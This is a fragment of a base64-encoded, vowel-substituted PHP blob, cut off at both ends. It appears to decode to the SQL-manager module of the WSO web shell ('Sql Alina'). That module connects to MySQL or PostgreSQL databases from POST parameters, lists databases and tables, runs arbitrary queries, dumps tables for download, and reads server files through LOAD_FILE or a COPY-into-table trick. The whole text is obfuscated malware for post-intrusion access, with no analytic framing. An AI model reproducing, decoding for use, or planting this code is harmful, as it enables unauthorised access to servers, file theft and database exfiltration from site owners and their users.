hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsXzVycjJyKCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQogICAgICAgICAgICAgICAgICAgICRyPTFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PSBuM2xsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKDRzX24zbTVyNGMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfTsNCiAgICAkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgICRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQogICAgfQ0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIg0KPGg2PlNxbCBBbDFuNCAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4mI2VpaW9vOyAgQnkgUmNQICBgPC8xPjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U3FsPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX2gyc3QnXSk/J2wyYzFsaDJzdCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9oMnN0J10pKSAuIic+PC90ZD4NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2wyZzRuIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfbDJnNG4nXSk/J3IyMnQnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfbDJnNG4nXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCiAgICAkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KICAgIDRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmw0c3REYnMoKTsNCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQogICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3M1bDVjdD4nOw0KICAgICAgICB9DQogICAgICAgIDVsczUgNWNoMiAkdG1wOw0KICAgIH01bHM1DQogICAgICAgIDVjaDIgJHRtcDsNCiAgICA1Y2gyICI8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAybmNsNGNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdDFibDU+DQogICAgICAgIDxzY3I0cHQ+DQogICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgICBmM25jdDQybiBmcyhmKSB7DQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wYSkgZi5wYS52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmM25jdDQybiBzdCh0LGwpIHsNCiAgICAgICAgICAgICAgICBkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQogICAgICAgICAgICAgICAgZC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCiAgICAgICAgICAgICAgICBkLnNmLnMzYm00dCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZjNuY3Q0Mm4gNHMoKSB7DQogICAgICAgICAgICAgICAgZjJyKDQ9MDs0PGQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCiAgICAgICAgICAgICAgICAgICAgZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkID0gIWQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgPC9zY3I0cHQ+IjsNCiAgICA0Zig0c3M1dCgkZGIpICYmICRkYi0+bDRuayl7DQogICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQogICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQogICAgICAgICAgICAgICAgJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOw0KICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3A2J10gPT0gJ3M1bDVjdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwNiddID0gJ3EzNXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2Ow0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcgLiAkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICAgICAkbjNtID0gJGRiLT5mNXRjaCgpOw0KICAgICAgICAgICAgICAgICAgICAkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHNjcjRwdD5kLnNmLjJuczNibTR0PWYzbmN0NDJuKCl7c3QoXCIiIC4gJF9QT1NUWydwYSddIC4gIlwiLCBkLnNmLnBvLnYxbDM1KX08L3NjcjRwdD48c3Axbj4iLiRfUE9TVFsncGEnXS4iPC9zcDFuPiAoeyRuM21bJ24nXX0gcjVjMnJkcykgUDFnNSAjIDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT0ncG8nIHYxbDM1PSIgLiAoKDRudCkkX1BPU1RbJ3BvJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICIgMmYgJHAxZzVzIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddLTYpIC4gIiknPiZsdDsgUHI1djwvMT4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPCAkcDFnNXMpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddLS07DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoKEAkX1BPU1RbJ3A2J10gPT0gJ3EzNXJ5JykgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeShAJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDUgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0MWJsNSB3NGR0aD02MDAlIGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9YSBjbDFzcz1tMTRuIHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiNhOWE5YTkiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7DQogICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA